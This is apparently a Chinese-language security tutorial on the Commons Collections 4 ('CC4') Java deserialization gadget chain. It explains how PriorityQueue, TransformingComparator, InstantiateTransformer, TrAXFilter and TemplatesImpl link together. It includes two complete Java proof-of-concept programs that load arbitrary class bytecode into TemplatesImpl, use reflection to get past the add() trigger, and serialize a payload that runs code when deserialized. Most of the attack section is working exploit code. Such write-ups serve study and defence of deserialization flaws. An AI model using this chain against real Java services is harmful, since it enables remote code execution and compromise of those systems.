CC4
环境提一小嘴:
CC4利用的是commons-collections4,所以我们需要导入新的依赖,地址:https://mvnrepository.com/artifact/org.apache.commons/commons-collections4/4.0
我们先来关注一下利用链:
后半段是一样的,即利用动态加载链
InstantiateTransformer.transform TrAXFilter.TrAXFilter TemplatesImpl.newTransformer defineClass
前面半段则是利用到了这两个类:
TransformingComparator --> commons的类 PriorityQueue --> JDK自带的类
我们说一下是怎么拼接上的,从InstantiateTransformer.transform往上讲吧,因为我们找到TransformingComparator的compare调用了transform
并且呢TransformingComparator又调用了compare
从TransformingComparator一路走出来可以到达readObject,那么这一条链子也算是闭合了。我们看一下TransformingComparator的readObjecct是怎么调用compare的:
1.先是执行了heapify()
2.调用siftDown(i, (E) queue[i]);
3.执行siftDownUsingComparator(k, x);
4.调用了compare,最重要的是这里的comparator是我们可以控制的
如何控制comparator?很简单,就是直接传入构造函数就可以:
所以前半条链子:
PriorityQueue.readObject PriorityQueue.heapify PriorityQueue.siftDown PriorityQueue.siftDownUsingComparator TransformingComparator.compare InstantiateTransformer.transform
后面半条链子我们不动,从CC3拷贝过来,然后只要实例化两个类就可以了:(TransformingComparator和ChainedTransformer)
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import javax.xml.transform.Templates;
import javax.xml.transform.TransformerConfigurationException;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;
public class CC4 {
public static void main(String[] args) throws NoSuchFieldException, IOException, IllegalAccessException, ClassNotFoundException, TransformerConfigurationException {
TemplatesImpl templates = new TemplatesImpl();
Class templatesClass = templates.getClass();
Field nameField = templatesClass.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates, "aaa");
Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("D://netcat/Test.class"));
byte[][] codes = {code};
bytecodesField.set(templates, codes);
Field tfactoryField = templatesClass.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates, new TransformerFactoryImpl());
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
Transformer[] transformers = {
new ConstantTransformer(TrAXFilter.class),
instantiateTransformer
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
TransformingComparator transformingComparator = new TransformingComparator(chainedTransformer);
PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);
serialize(priorityQueue);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
objectOutputStream.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(Filename));
return objectInputStream.readObject();
}
}
运行之后发现无事发生,为什么?我们断点下在入口heapify,进入heapify
我们发现这个判断的时候就被阻隔了,size就是值队列内的数量,因为我们没有添加过任何元素所以这里默认就是0
如果想要绕过这个判断至少需要添加两个元素,因为这里是对size做>>>操作,即减少一位:
4的二进制是100 做>>>操作变成 10 即2
2的二进制是10 做>>>操作变成 1 即1
所以我们对priorityQueue添加两个元素,在序列化之前添加两行代码:
priorityQueue.add(1); priorityQueue.add(2);
再重新运行:
发行执行成功,但是我们反序列化的时候又弹不出计算器了。。。
因为我们在序列化之前执行了priorityQueue.add(1);代码
我们一路跟进:add->offer->siftUp->siftUpUsingComparator发现它已经调用了compare了
而且最关键的是这里它还执行了break方法,所以下面的serialize是压根没有执行,所以连ser.bin的序列化文件都没有生成,怎么反序列化呢?
TransformingComparator transformingComparator = new TransformingComparator(chainedTransformer);
我们在这一句修改一下,把chainedTransformer改成new ConstantTransformer("qingfeng"),即:
TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer("qingfeng"));
接着在反序列化之前,add函数之后利用反射修改其值改回chainedTransformer,这样在反序列化的时候就可以执行了。
所以整个代码就是:
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import javax.xml.transform.Templates;
import javax.xml.transform.TransformerConfigurationException;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;
public class CC4 {
public static void main(String[] args) throws NoSuchFieldException, IOException, IllegalAccessException, ClassNotFoundException, TransformerConfigurationException {
TemplatesImpl templates = new TemplatesImpl();
Class templatesClass = templates.getClass();
Field nameField = templatesClass.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates, "aaa");
Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("D://netcat/Test.class"));
byte[][] codes = {code};
bytecodesField.set(templates, codes);
Field tfactoryField = templatesClass.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates, new TransformerFactoryImpl());
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
Transformer[] transformers = {
new ConstantTransformer(TrAXFilter.class),
instantiateTransformer
};
// instantiateTransformer.transform(TrAXFilter.class);
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer("qingfeng"));
PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);
priorityQueue.add(1);
priorityQueue.add(2);
Class<? extends TransformingComparator> transformingComparatorClass = transformingComparator.getClass();
Field transformerField = transformingComparatorClass.getDeclaredField("transformer");
transformerField.setAccessible(true);
transformerField.set(transformingComparator, chainedTransformer);
serialize(priorityQueue);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
objectOutputStream.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(Filename));
return objectInputStream.readObject();
}
}
CC4完结思考:
为什么我们CC3前面半条不能用这个链子,或者有CC3不就足够了,为什么要再找一个这样的链子,不是画蛇添足吗?
其实罪魁祸首就是 commons-collections4 和 commons-collections3 的区别了,更具体一点就是在类TransformingComparator这里。
我们先来看一下commons-collections3的TransformingComparator函数:
再看一下commons-collections4的TransformingComparator函数:
发现一个继承了serialize接口,另一个没有继承这个接口。因此造成了一个新的漏洞利用点,从而有了CC4.